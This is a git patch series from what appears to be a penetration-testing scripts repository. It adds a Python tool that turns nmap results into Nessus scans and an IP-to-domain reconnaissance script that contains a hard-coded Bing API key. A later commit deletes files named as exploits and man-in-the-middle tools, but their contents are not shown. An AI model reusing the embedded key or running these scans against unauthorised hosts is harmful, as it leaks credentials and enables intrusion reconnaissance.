: 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #5 : entry SCAP Benchmark ID #5 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : entry SCAP Data Stream ID (1.2 only) #5 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:SCAP Version #5 : radio SCAP Version #5 : 1.2;1.1;1.0 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[file]:SCAP File (zip) #5 : file SCAP File (zip) #5 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:OVAL Result Type #4 : radio OVAL Result Type #4 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Profile ID #4 : entry SCAP Profile ID #4 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #4 : entry SCAP Benchmark ID #4 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : entry SCAP Data Stream ID (1.2 only) #4 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:SCAP Version #4 : radio SCAP Version #4 : 1.2;1.1;1.0 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[file]:SCAP File (zip) #4 : file SCAP File (zip) #4 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:OVAL Result Type #3 : radio OVAL Result Type #3 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Profile ID #3 : entry SCAP Profile ID #3 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #3 : entry SCAP Benchmark ID #3 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : entry SCAP Data Stream ID (1.2 only) #3 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:SCAP Version #3 : radio SCAP Version #3 : 1.2;1.1;1.0 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[file]:SCAP File (zip) #3 : file SCAP File (zip) #3 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:OVAL Result Type #2 : radio OVAL Result Type #2 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Profile ID #2 : entry SCAP Profile ID #2 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #2 : entry SCAP Benchmark ID #2 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : entry SCAP Data Stream ID (1.2 only) #2 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:SCAP Version #2 : radio SCAP Version #2 : 1.2;1.1;1.0 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[file]:SCAP File (zip) #2 : file SCAP File (zip) #2 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:OVAL Result Type #1 : radio OVAL Result Type #1 : Full results w/ system characteristics;Full results w/o system characteristics;Thin results 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Profile ID #1 : entry SCAP Profile ID #1 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #1 : entry SCAP Benchmark ID #1 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : entry SCAP Data Stream ID (1.2 only) #1 : 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[radio]:SCAP Version #1 : radio SCAP Version #1 : 1.2;1.1;1.0 66757 SCAP Linux Compliance Checks SCAP Linux Compliance Checks[file]:SCAP File (zip) #1 : file SCAP File (zip) #1 : 66963 Good MDM Settings Good MDM Settings[checkbox]:Verify SSL Certificate : checkbox Verify SSL Certificate : no 66963 Good MDM Settings Good MDM Settings[checkbox]:SSL : checkbox SSL : yes 66963 Good MDM Settings Good MDM Settings[password]:Password : password Password : 66963 Good MDM Settings Good MDM Settings[entry]:Username : entry Username : 66963 Good MDM Settings Good MDM Settings[entry]:Domain : entry Domain : 66963 Good MDM Settings Good MDM Settings[entry]:Port : entry Port : 66963 Good MDM Settings Good MDM Settings[entry]:GMC Server : entry GMC Server : 72904 MobileIron API Settings MobileIron API Settings[checkbox]:Verify SSL certificate : checkbox Verify SSL certificate : no 72904 MobileIron API Settings MobileIron API Settings[checkbox]:SSL : checkbox SSL : yes 72904 MobileIron API Settings MobileIron API Settings[password]:MobileIron password : password MobileIron password : 72904 MobileIron API Settings MobileIron API Settings[entry]:MobileIron username : entry MobileIron username : 72904 MobileIron API Settings MobileIron API Settings[entry]:MobileIron port : entry MobileIron port : 72904 MobileIron API Settings MobileIron API Settings[entry]:MobileIron VSP Admin Portal URL : entry MobileIron VSP Admin Portal URL : 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Verify SSL Certificate : checkbox Verify SSL Certificate : yes yes 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:SSL : checkbox SSL : yes yes 73490 Amazon Web Services Settings Amazon Web Services Settings[password]:AWS Secret Access Key : password AWS Secret Access Key : 73490 Amazon Web Services Settings Amazon Web Services Settings[password]:AWS Access Key ID : password AWS Access Key ID : 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region us-gov-west-1 : checkbox Region us-gov-west-1 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region cn-north-1 : checkbox Region cn-north-1 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region sa-east-1 : checkbox Region sa-east-1 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region ap-southeast-2 : checkbox Region ap-southeast-2 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region ap-southeast-1 : checkbox Region ap-southeast-1 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region ap-northeast-1 : checkbox Region ap-northeast-1 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region eu-west-1 : checkbox Region eu-west-1 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region us-west-2 : checkbox Region us-west-2 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region us-west-1 : checkbox Region us-west-1 : no no 73490 Amazon Web Services Settings Amazon Web Services Settings[checkbox]:Region us-east-1 : checkbox Region us-east-1 : no no 73980 Hosts File Whitelisted Entries Hosts File Whitelisted Entries[file]:Upload file with custom hosts entries : file Upload file with custom hosts entries : 76460 AirWatch API Settings AirWatch API Settings[checkbox]:Verify SSL certificate : checkbox Verify SSL certificate : no 76460 AirWatch API Settings AirWatch API Settings[checkbox]:SSL : checkbox SSL : yes 76460 AirWatch API Settings AirWatch API Settings[entry]:AirWatch API key : entry AirWatch API key : 76460 AirWatch API Settings AirWatch API Settings[password]:AirWatch password : password AirWatch password : 76460 AirWatch API Settings AirWatch API Settings[entry]:AirWatch username : entry AirWatch username : 76460 AirWatch API Settings AirWatch API Settings[entry]:AirWatch port : entry AirWatch port : 76460 AirWatch API Settings AirWatch API Settings[entry]:AirWatch Environment API URL : entry AirWatch Environment API URL : 76512 MongoDB Settings MongoDB Settings[entry]:Port : entry Port : 27017 76512 MongoDB Settings MongoDB Settings[entry]:Database for authentication : entry Database for authentication : 76512 MongoDB Settings MongoDB Settings[password]:Password : password Password : 76512 MongoDB Settings MongoDB Settings[entry]:Username : entry Username : 76710 Salesforce.com Settings Salesforce.com Settings[password]:Password : password Password : 76710 Salesforce.com Settings Salesforce.com Settings[entry]:Username : entry Username : 76866 Patch Management: Dell KACE K1000 Settings Patch Management: Dell KACE K1000 Settings[password]:K1000 Database Password : password K1000 Database Password : 76866 Patch Management: Dell KACE K1000 Settings Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Username : entry K1000 Database Username : R1 76866 Patch Management: Dell KACE K1000 Settings Patch Management: Dell KACE K1000 Settings[entry]:K1000 Organization Database Name : entry K1000 Organization Database Name : ORG1 76866 Patch Management: Dell KACE K1000 Settings Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Port : entry K1000 Database Port : 3306 76866 Patch Management: Dell KACE K1000 Settings Patch Management: Dell KACE K1000 Settings[entry]:K1000 Address : entry K1000 Address : 77089 RHEV Settings RHEV Settings[checkbox]:Verify SSL Certificate : checkbox Verify SSL Certificate : no 77089 RHEV Settings RHEV Settings[entry]:Port : entry Port : 443 77089 RHEV Settings RHEV Settings[password]:Password : password Password : 77089 RHEV Settings RHEV Settings[entry]:Username : entry Username : 78013 Patch Management: Symantec Altiris Settings Patch Management: Symantec Altiris Settings[password]:Symantec Altiris Database Password : password Symantec Altiris Database Password : 78013 Patch Management: Symantec Altiris Settings Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Username : entry Symantec Altiris Database Username : 78013 Patch Management: Symantec Altiris Settings Patch Management: Symantec Altiris Settings[checkbox]:Symantec Altiris Use Windows Credentials : checkbox Symantec Altiris Use Windows Credentials : no 78013 Patch Management: Symantec Altiris Settings Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Name : entry Symantec Altiris Database Name : Symantec_CMDB 78013 Patch Management: Symantec Altiris Settings Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Port : entry Symantec Altiris Database Port : 5690 78013 Patch Management: Symantec Altiris Settings Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Server : entry Symantec Altiris Database Server : template_policy yes wizard_uuid ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 local_portscan.snmp yes portscan.ping yes local_portscan.netstat_wmi yes port_range 0-1000 plugin_selection.individual_plugin.34220 enabled reverse_lookup no network_scanners.udp no slice_network_addresses no checks_read_timeout 5 plugin_selection.individual_plugin.34277 disabled stop_scan_on_disconnect no name PolicyName local_portscan.netstat_ssh yes silent_dependencies yes reduce_connections_on_congestion no plugin_selection.individual_plugin.14272 enabled use_kernel_congestion_detection no network_scanners.tcp no plugin_selection.individual_plugin.11219 enabled allow_post_scan_editing yes max_checks 5 max_hosts 30 service_detection.search_for_ssl yes network_scanners.syn yes log_whole_attack no plugin_selection.individual_plugin.14274 enabled unscanned_closed no plugin_selection.individual_plugin.10335 disabled safe_checks yes ui.aws.region_category Rest of the World plugin_selection.individual_plugin.10180 enabled Port scanners mixed PolicyName " + +#https://192.168.112.160:8834/nessus6-api.html#/ + +origUrl = '' +verify = False +token = "" +username = '' +password = '' +filename = "test.nessus" +headers = {} + +def parseNmapReport(reportFile): + criticalList=[] + highList=[] + mediumList=[] + + print reportFile + with open(reportFile, 'rb') as csvfile: + reader = csv.DictReader(csvfile,delimiter=',') + for row in reader: + if row['Risk']!='None': + result = ([row['Risk'],row['Host']+':'+row['Port'],row['Name']]) + if row['Risk']=='Critical': + if result not in criticalList: + criticalList.append(result) + if row['Risk']=='High': + if result not in highList: + highList.append(result) + if row['Risk']=='Medium': + if result not in mediumList: + mediumList.append(result) + + print "\n- Summary of Results (Critical/High/Medium)" + if len(criticalList)<1 and len(highList)<1 and len(mediumList)<1: + print "- No results found" + + criticalList = sorted(criticalList, key=operator.itemgetter(0, 1)) + for x in criticalList: + print "%-10s %15s %80s" % (x[0], x[1], x[2]) + highList = sorted(highList, key=operator.itemgetter(0, 1)) + for x in highList: + print "%-10s %15s %80s" % (x[0], x[1], x[2]) + + mediumList = sorted(mediumList, key=operator.itemgetter(0, 1)) + for x in mediumList: + print "%-10s %15s %80s" % (x[0], x[1], x[2]) + +def setHeaders(contentType="",token=""): + if contentType=="json": + headers = {'X-Cookie': 'token='+token, + 'content-type': 'application/json'} + else: + headers = {'X-Cookie': 'token='+token} + return headers + +def login(username,password): + headers=setHeaders(contentType="json") + login = {'username': username, 'password': password} + data = json.dumps(login) + r = requests.post(origUrl+"/session", data=data, headers=headers, verify=verify) + data = json.loads(r.text) + token = data['token'] + return token + +def upload_file(filename,token): + headers=setHeaders(contentType="",token=token) + url = origUrl+"/file/upload" + files = {"Filedata": open(filename, 'rb')} + r = requests.post(url = url, headers = headers, data = {'Filename':filename}, files = files, verify = verify) + if r.status_code==200: + data = json.loads(r.text) + filename = data['fileuploaded'] + return filename + else: + return None + +def import_policy(filename,token): + headers=setHeaders(contentType="json",token=token) + login = {'file': filename} + data = json.dumps(login) + url = origUrl+"/policies/import" + r = requests.post(url = url, data=data, headers=headers, verify=verify) + data = json.loads(r.text) + uuid = data['template_uuid'] + policy_id = data['id'] + return (uuid,policy_id) + +def get_policy(policy_id,token): + headers=setHeaders(contentType="json",token=token) + url = origUrl+"/policies/"+str(policy_id)+"/export" + r = requests.get(url = url, headers=headers, verify=verify) + #data = json.loads(r.text) + #return data + return r.text + +def list_policy(token): + headers=setHeaders(contentType="json",token=token) + url = origUrl+"/policies/" + r = requests.get(url = url, headers=headers, verify=verify) + data = json.loads(r.text) + return data + +#def list_policy(token): +# headers=setHeaders(contentType="json",token=token) +# url = origUrl+"/policies" +# #url = origUrl+"/editor/policy/templates" +# r = requests.get(url = url, headers=headers, verify=verify) +# data = json.loads(r.text) +# return data + +def list_scans(token): + headers=setHeaders(contentType="json",token=token) + r = requests.get(origUrl+"/scans", headers=headers, verify=verify) + data = json.loads(r.text) + return data + +def add_scan(uuid,policy_id,targets,token): + headers=setHeaders(contentType="json",token=token) + data = {"uuid":uuid, "settings": {"policy_id": policy_id, "name": "Scan Name", "description": "Scan Description", "text_targets": targets}} + data = json.dumps(data) + r = requests.post(origUrl+"/scans", data=data, headers=headers, verify=verify) + data = json.loads(r.text) + return data + +def start_scan(uuid,scan_id,token): + headers=setHeaders(contentType="json",token=token) + data = {"scan_uuid":uuid} + data = json.dumps(data) + r = requests.post(origUrl+"/scans/"+str(scan_id)+"/launch", data=data, headers=headers, verify=verify) + data = json.loads(r.text) + return data + +def extractIP(filename): + root = etree.parse(filename) + addrList = [port.get('addr') for port in root.findall('.//address')] + count=0 + addrList = list(set(addrList)) + addrStr = ",".join(addrList) + return addrStr + +def extractPorts(filename): + resultList=[] + root = etree.parse(filename) + stateList = [port.get('state') for port in root.findall('.//state')] + portsList = [port.get('portid') for port in root.findall('.//port')] + + count=0 + for x in stateList: + if x=="open": + resultList.append(portsList[count]) + count+=1 + resultList = list(set(resultList)) + portsStr = ",".join(resultList) + return portsStr + +#def modifyPolicy(portsStr): +# doc = etree.parse(StringIO(defaultNessusPolicy)) +# #doc = etree.parse(filename) +# for elem in doc.findall("/Policy/Preferences/ServerPreferences/preference/value"): +# if elem.text=="PolicyName": +# elem.text="scan_"+str(uuid.uuid4()) +# if elem.text=="0-1000": +# elem.text=portsStr +# for elem in doc.findall("Policy/policyName"): +# if elem.text=="PolicyName": +# elem.text="scan_"+str(uuid.uuid4()) +# doc.write('output.nessus', xml_declaration=False) +# return "output.nessus" + +def modifyPolicy(portsStr): + doc = etree.parse(StringIO(defaultNessusPolicy)) + found=False + for elem in doc.findall("/Policy/Preferences/ServerPreferences/preference"): + for node in elem: + if found==True: + if node.tag=="value": + node.text = portsStr + found=False + if node.tag=="name": + if node.text=="port_range": + found=True + doc.write('output.nessus', xml_declaration=False) + return "output.nessus" + +def request_report(scan_id,format,token): + headers=setHeaders("json",token) + if format=="csv": + data = {'scan_id':scan_id,'format':'csv'} + data = json.dumps(data) + r = requests.post(origUrl+"/scans/"+str(scan_id)+"/export/", data=data, headers=headers, verify=verify) + data = json.loads(r.text) + return data + +def download_report(file_id,scan_id,format,token): + headers=setHeaders("json",token) + if format=="csv": + data = {'scan_id': scan_id, 'format': 'csv'} + data = json.dumps(data) + r = requests.get(origUrl+"/scans/"+str(scan_id)+"/export/"+str(file_id)+"/download", data=data, headers=headers, verify=verify) + return r.text + + + +if __name__== '__main__': + parser= argparse.ArgumentParser() + parser.add_argument('-s', dest='hostIP', action='store', help='[nessus server IP]') + parser.add_argument('-u', dest='username', action='store', help='[username]') + parser.add_argument('-p', dest='password', action='store', help='[password]') + parser.add_argument('-i', dest='infile', action='store', help='[nmap xml file]') + parser.add_argument('-t', dest='templatefile', action='store', help='[Nessus policy template to use (optional)]') + parser.add_argument('-n', dest='scanid', action='store', help='[lookup job based on scan_id (optional)]') + parser.add_argument('-o', dest='outfile', action='store', help='[nessus report (csv) (optional)]') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options= parser.parse_args() + if not options.username and not options.password: + print "- Enter a username and password to connect to Nessus" + sys.exit() + if not options.hostIP: + print "- Enter the Nessus server IP address" + sys.exit() + else: + hostIP = options.hostIP + origUrl = 'https://'+hostIP+':8834' + + if options.scanid: + scan_id = options.scanid + username = options.username + password = options.password + + print "- Logging into Nessus" + token = login(username,password) + + found=False + while found==False: + results=list_scans(token) + for x in results['scans']: + if str(x['id'])==str(scan_id): + print "- Checking Job Status: "+str(scan_id)+" : "+str(x['status']) + if x['status']=='canceled' or x['status']=='completed': + found=True + time.sleep(5) + + results = request_report(scan_id,"csv",token) + + file_id = results['file'] + + results = download_report(file_id,scan_id,"csv",token) + + if options.outfile: + #results = download_report(file_id,scan_id,"csv",token) + file = open(options.outfile, "w") + file.write(results.encode('ascii', 'ignore').decode('ascii')) + file.close() + print "\n- Nessus report has been saved to: "+options.outfile + parseNmapReport(options.outfile) + else: + outfile = "report.csv" + #results = download_report(file_id,scan_id,"csv",token) + file = open("report.csv", "w") + file.write(results.encode('ascii', 'ignore').decode('ascii')) + file.close() + print "\n- Nessus report has been saved to: report.csv" + parseNmapReport(outfile) + sys.exit() + if options.infile: + username = options.username + password = options.password + + print "- Launching new Nessus scan" + filename = options.infile + resultStr="" + + print "- Extracting ports from "+filename + addrStr = extractIP(filename) + + portsStr =extractPorts(filename) + resultStr += portsStr+"," + + portStr = resultStr[:-1] + + print "- Modifying Nessus policy" + filename="nessusPolicy.xml" + filename = modifyPolicy(portsStr) + + print "- Logging into Nessus" + token = login(username,password) + + if options.templatefile: + foundPolicy=False + results = list_policy(token) + for x in results['policies']: + if options.templatefile==x['name']: + policy_id = x['id'] + defaultNessusPolicy = get_policy(policy_id,token) + modifyPolicy(portsStr) + foundPolicy=True + if foundPolicy==False: + print "- Cannot find Nessus policy name" + sys.exit() + + + print "- Uploading Policy" + filename = upload_file(filename,token) + if filename!=None: + (uuid,policy_id) = import_policy(filename,token) + + targets = addrStr + results = add_scan(uuid,policy_id,targets,token) + + uuid = results['scan']['uuid'] + scan_id = results['scan']['id'] + + print "- Starting Nessus Scan" + start_scan(uuid,scan_id,token) + + found=False + while found==False: + results=list_scans(token) + for x in results['scans']: + if str(x['id'])==str(scan_id): + print "- Checking Job Status: "+str(scan_id)+" : "+str(x['status']) + if x['status']=='canceled' or x['status']=='completed': + found=True + time.sleep(5) + + results = request_report(scan_id,"csv",token) + file_id = results['file'] + + if options.outfile: + results = download_report(file_id,scan_id,"csv",token) + file = open(options.outfile, "w") + file.write(results.encode('ascii', 'ignore').decode('ascii')) + file.close() + print "- Nessus report has been saved to: "+options.outfile + parseNmapReport(options.outfile) + + else: + outfile = "report.csv" + results = download_report(file_id,scan_id,"csv",token) + file = open("report.csv", "w") + file.write(results.encode('ascii', 'ignore').decode('ascii')) + file.close() + print "- Nessus report has been saved to: report.csv" + parseNmapReport(outfile) \ No newline at end of file diff --git a/networking/README.md b/networking/README.md new file mode 100755 index 0000000..128fd02 --- /dev/null +++ b/networking/README.md @@ -0,0 +1,3 @@ +- ip2domains.py +Extracts the common name from the SSL certificate (if its not a wildcard domain). +Performs a reverse lookup on Bing for domains hosted on the IP address \ No newline at end of file diff --git a/networking/ip2domains.py b/networking/ip2domains.py new file mode 100755 index 0000000..ce80993 --- /dev/null +++ b/networking/ip2domains.py @@ -0,0 +1,124 @@ +import argparse +import urllib2, socket,sys,base64,os +from xml.dom.minidom import parse, parseString +import socket +from urlparse import urlparse +import commands + + +bingAPIKey = '40Mem6C6yp/FDmkBYaCtgEs7GdiNIGeod+n7T8ol2x0' + +def isOpen(ip,port): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((ip, int(port))) + s.shutdown(2) + return True + except: + return False + + +def RunCommand(fullCmd): + try: + #print fullCmd + return commands.getoutput(fullCmd) + except: + return "Error executing command %s" %(fullCmd) + + +def getIP(domain): + try: + return socket.gethostbyname(domain) + except socket.gaierror: + return "" +def getSSLcertname(ip): + fullCmd = "nmap --script=ssl-cert -p 443 "+ip + results = RunCommand(fullCmd) + resultsList = results.split("\n") + for line in resultsList: + if "| ssl-cert: Subject: commonName=" in line and "*." not in line: + hostName = line.replace("| ssl-cert: Subject: commonName=","").split("/")[0] + hostName = hostName.strip() + if hostName: + return hostName + +def reverseBing(ip): + sites = [] + skip = 0 + top = 100 + port = 443 + if isOpen(ip,port): + if getSSLcertname(ip): + sites.append(getSSLcertname(ip)) + while skip < 200: + try: + url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"%(ip,top,skip) + request = urllib2.Request(url) + auth = base64.encodestring("%s:%s" % (bingAPIKey, bingAPIKey)).replace("\n", "") + request.add_header("Authorization", "Basic %s" % auth) + res = urllib2.urlopen(request) + data = res.read() + + xmldoc = parseString(data) + site_list = xmldoc.getElementsByTagName('d:Url') + for site in site_list: + domain = site.childNodes[0].nodeValue + domain = domain.split("/")[2] + tmpDomain = domain + if ":" in domain: + domain = domain.split(":")[0] + if tmpDomain not in sites: + siteIP = getIP(domain) + if ip not in sites: + #if ip!=siteIP: + # sites.append(ip) + if ip==siteIP: + sites.append(tmpDomain) + except urllib2.URLError: + continue + skip += 50 + return sites + +parser = argparse.ArgumentParser(description='IP to DNS Name') +parser.add_argument('-host', help='Enter an IP address or Domain name') +parser.add_argument('-file', help='File containing list of IP addresses') +args = parser.parse_args() +if args.host==None and args.file==None: + print "\n[!] Please run 'python "+sys.argv[0]+" -h'\n" + sys.exit() +else: + if args.file: + filename = args.file + ipList = [] + with open(filename) as f: + ipList = f.read().splitlines() + for host in ipList: + tmpHost = host + if "http" in tmpHost or "https" in tmpHost: + parse_object = urlparse(tmpHost) + fqdn = str(parse_object.hostname) + tmpHost = fqdn + if any(c.isalpha() for c in tmpHost)==False: + if len(bingAPIKey)<1: + sys.exit("[!] Please check your bingAPIKey !") + sites = reverseBing(tmpHost) + if sites: + for site in sites: + if site!=None: + print tmpHost+"\t"+site + else: + print tmpHost + else: + print tmpHost + elif args.host: + tmpHost = args.host + if "http" in tmpHost or "https" in tmpHost: + parse_object = urlparse(tmpHost) + fqdn = str(parse_object.hostname) + tmpHost = fqdn + if any(c.isalpha() for c in tmpHost)==False: + if len(bingAPIKey)<1: + sys.exit("[!] Please check your bingAPIKey !") + sites = reverseBing(tmpHost) + for site in sites: + print tmpHost+"\t"+site From 08943c14a6160246e9a3bb06b418be856cf9da25 Mon Sep 17 00:00:00 2001 From: James Hovious Date: Wed, 10 Jun 2015 03:56:28 +0000 Subject: [PATCH 3/3] deleted unused scripts --- README.md | 10 +- as400/CodePage.py | 84 --- as400/CodePage.pyc | Bin 5100 -> 0 bytes as400/Screen5250.py | 276 --------- as400/Screen5250.pyc | Bin 9462 -> 0 bytes as400/ScreenField.py | 190 ------ as400/ScreenField.pyc | Bin 8444 -> 0 bytes as400/ScreenFields.py | 158 ----- as400/ScreenFields.pyc | Bin 5634 -> 0 bytes as400/Session.py | 60 -- as400/Session.pyc | Bin 2225 -> 0 bytes as400/SessionManager.py | 44 -- as400/Sessions.py | 38 -- as400/frmConnect.py | 56 -- as400/frmConnect.pyc | Bin 2716 -> 0 bytes as400/testAS400.py | 107 ---- as400/tn5250.old.py | 162 ------ as400/tn5250.py | 24 - as400/vt5250.py | 874 ---------------------------- as400/vt5250.pyc | Bin 24595 -> 0 bytes cenzic/README.md | 7 - cenzic/screenshot1.png | Bin 194137 -> 0 bytes cenzic/url2cenzic.py | 131 ----- exploits/cve-2013-7331.html | 120 ---- extractDominoUsers.py | 42 -- firebird/firebirdBrute.py | 76 --- ip2domains.py | 124 ---- mitm/PluginDetect_All.js | 7 - mitm/beefclone.js | 237 -------- mitm/iframe_injector | 57 -- mitm/mitm.py | 497 ---------------- mitm/msf1.rc | 59 -- mitm/pluginDetect4.htm | 1 - mitm/readme.txt | 12 - mitm/savecookies.js | 49 -- mitm/wpad.dat | 9 - nessus/README.md | 132 ++++- others/parseMSTports.py | 261 --------- plesk_panel/pleskSQL.rb | 144 ----- vm_automation/README.md | 16 - vm_automation/vmAcunetix.py | 210 ------- web/parseFileList.py | 31 - wordpress_exploits/cve-2013-3684.py | 83 --- wordpress_exploits/readme.txt | 46 -- 44 files changed, 133 insertions(+), 4301 deletions(-) mode change 100755 => 100644 README.md delete mode 100644 as400/CodePage.py delete mode 100644 as400/CodePage.pyc delete mode 100644 as400/Screen5250.py delete mode 100644 as400/Screen5250.pyc delete mode 100644 as400/ScreenField.py delete mode 100644 as400/ScreenField.pyc delete mode 100644 as400/ScreenFields.py delete mode 100644 as400/ScreenFields.pyc delete mode 100644 as400/Session.py delete mode 100644 as400/Session.pyc delete mode 100644 as400/SessionManager.py delete mode 100644 as400/Sessions.py delete mode 100644 as400/frmConnect.py delete mode 100644 as400/frmConnect.pyc delete mode 100644 as400/testAS400.py delete mode 100644 as400/tn5250.old.py delete mode 100644 as400/tn5250.py delete mode 100644 as400/vt5250.py delete mode 100644 as400/vt5250.pyc delete mode 100755 cenzic/README.md delete mode 100644 cenzic/screenshot1.png delete mode 100644 cenzic/url2cenzic.py delete mode 100644 exploits/cve-2013-7331.html delete mode 100755 extractDominoUsers.py delete mode 100755 firebird/firebirdBrute.py delete mode 100755 ip2domains.py delete mode 100755 mitm/PluginDetect_All.js delete mode 100755 mitm/beefclone.js delete mode 100755 mitm/iframe_injector delete mode 100755 mitm/mitm.py delete mode 100755 mitm/msf1.rc delete mode 100755 mitm/pluginDetect4.htm delete mode 100755 mitm/readme.txt delete mode 100755 mitm/savecookies.js delete mode 100755 mitm/wpad.dat delete mode 100755 others/parseMSTports.py delete mode 100755 plesk_panel/pleskSQL.rb delete mode 100755 vm_automation/README.md delete mode 100755 vm_automation/vmAcunetix.py delete mode 100755 web/parseFileList.py delete mode 100755 wordpress_exploits/cve-2013-3684.py delete mode 100755 wordpress_exploits/readme.txt diff --git a/README.md b/README.md old mode 100755 new mode 100644 index 811e3f8..cb700cb --- a/README.md +++ b/README.md @@ -1,9 +1,3 @@ -- ip2domains.py -Extracts the common name from the SSL certificate (if its not a wildcard domain). -Performs a reverse lookup on Bing for domains hosted on the IP address - -- firebird/firebird.py -This tool attempts to brute force the database names on the Firebird database server using the default credentials (sysdba|masterkey) -If you need an english dictionary wordlist, you can download one from http://www-01.sil.org/linguistics/wordlists/english/wordlist/wordsEn.txt. - +Cheap rip off of https://github.com/milo2012/pentest_scripts +Some stuff has been modified/added/updated for my n33dz. \ No newline at end of file diff --git a/as400/CodePage.py b/as400/CodePage.py deleted file mode 100644 index 6b67cf9..0000000 --- a/as400/CodePage.py +++ /dev/null @@ -1,84 +0,0 @@ -""" -CodePage -Used to convert ascii to ebcdic and ebcdic to ascii -Created by Kenneth J. Pouncey 2002-05-18 -Changed by Nate Custer - 2002-05-22 - Used some different data types to improve performance/memory usage. - Used a dict (hash table) instead of a list for the lookup tables. - The performance of a lookup is faster if you use a dict. Also; used a - tuple instead of a list for the list at the start. Since tuples aren't - mutable the python interpreter uses less memory to store them. -Cleaned up by P. Bielen - 2002-05-23 - Managed a length of 75 characters at one line, to prevend a lot of - editors to do a word-wrap. -""" - -__all__ = ["CodePage"] - -# Tunable parameters -DEBUGLEVEL = 0 - -# Conversion table generated mechanically by Free `recode' 3.5 -# for sequence IBM037..ISO-8859-1 (reversible). */ - -codePage37 = ( 0, 1, 2, 3, 156, 9, 134, 127, 151, 141, 142, 11, \ - 12, 13, 14, 15, 16, 17, 18, 19, 157, 133, 8, 135, \ - 24, 25, 146, 143, 28, 29, 30, 31, 128, 129, 130, 131, \ - 132, 10, 23, 27, 136, 137, 138, 139, 140, 5, 6, \ - 7, 144, 145, 22, 147, 148, 149, 150, 4, 152, 153, 154, \ - 155, 20, 21, 158, 26, 32, 160, 226, 228, 224, 225, 227, \ - 229, 231, 241, 162, 46, 60, 40, 43, 124, 38, 233, 234, \ - 235, 232, 237, 238, 239, 236, 223, 33, 36, 42, 41, \ - 59, 172, 45, 47, 194, 196, 192, 193, 195, 197, 199, 209, \ - 166, 44, 37, 95, 62, 63, 248, 201, 202, 203, 200, \ - 205, 206, 207, 204, 96, 58, 35, 64, 39, 61, 34, \ - 216, 97, 98, 99, 100, 101, 102, 103, 104, 105, 171, \ - 187, 240, 253, 254, 177, 176, 106, 107, 108, 109, 110, \ - 111, 112, 113, 114, 170, 186, 230, 184, 198, 164, 181, \ - 126, 115, 116, 117, 118, 119, 120, 121, 122, 161, 191, \ - 208, 221, 222, 174, 94, 163, 165, 183, 169, 167, 182, 188, \ - 189, 190, 91, 93, 175, 168, 180, 215, 123, 65, 66, \ - 67, 68, 69, 70, 71, 72, 73, 173, 244, 246, 242, 243, \ - 245, 125, 74, 75, 76, 77, 78, 79, 80, 81, 82, 185, \ - 251, 252, 249, 250, 255, 92, 247, 83, 84, 85, 86, 87, \ - 88, 89, 90, 178, 212, 214, 210, 211, 213, 48, 49, 50, \ - 51, 52, 53, 54, 55, 56, 57, 179, 219, 220, 217, 218, \ - 159) 